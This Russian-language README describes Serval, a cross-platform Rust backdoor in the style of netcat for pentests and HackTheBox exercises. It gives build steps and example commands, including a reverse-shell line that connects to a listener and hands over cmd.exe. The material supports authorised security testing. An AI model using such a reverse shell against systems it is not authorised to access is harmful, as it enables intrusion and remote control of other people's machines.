
Бэкдор в стиле Netcat для пентестинга и пентест-упражнений
Serval — это легковесный, простой в использовании бинарный файл для создания обратных и привязанных оболочек для пентестов или упражнений по пентесту. Serval является кроссплатформенным и может быть скомпилирован как для Windows (32 и 64 бита), так и для Linux (32 и 64 бита). Примечание: Благодаря гибкости Rust, возможно компилировать для других платформ (например, ARM), но я не тестировал на других платформах.
Я разработал Serval, чтобы избавиться от зависимости от netcat во время прохождения заданий HacktheBox, так как бывает проблематично найти бинарные файлы netcat для Windows (особенно с опцией -e), а найти бинарник из доверенного источника — ещё сложнее.
Загрузите исходный код с github
git clone https://github.com/tgadola/serval.git && cd serval-master
*Опционально: Отредактируйте файл сборки .cargo/config, чтобы изменить путь сборки.
Соберите бинарный файл для вашей текущей платформы.
cargo build --release
*Примечание: v1.1.0 требует Rust nightly
Вы можете собрать для других платформ, используя
cargo build --release --target <target-triple>
Если вы особенно доверчивый человек, вы можете скачать предварительно собранные бинарные файлы здесь.
По умолчанию Serval либо прослушивает, либо подключается к порту и перенаправляет стандартный ввод и вывод на это соединение. Флаг -e запускает процесс и передаёт его стандартный ввод и вывод по сети.
Serval прослушивает все интерфейсы.
Используйте флаг -H для активации редактирования строки и истории команд!
serval -l 4400 -H
serval.exe <listening ip> <listening port> -q -e cmd.exe
Большое спасибо @kkawakam-transferwise и его крейту Rustyline, который буквально выполняет всю тяжёлую работу. Посмотрите Rustyline!
Спасибо создателям и участникам Clap! Посмотрите Clap.
Спасибо создателям и участникам Anyhow! Посмотрите Anyhow. +1 за отличное название крейта.
Спасибо @jaynus за все его советы по Rust
Apache 2.0. См. файл License для получения дополнительной информации.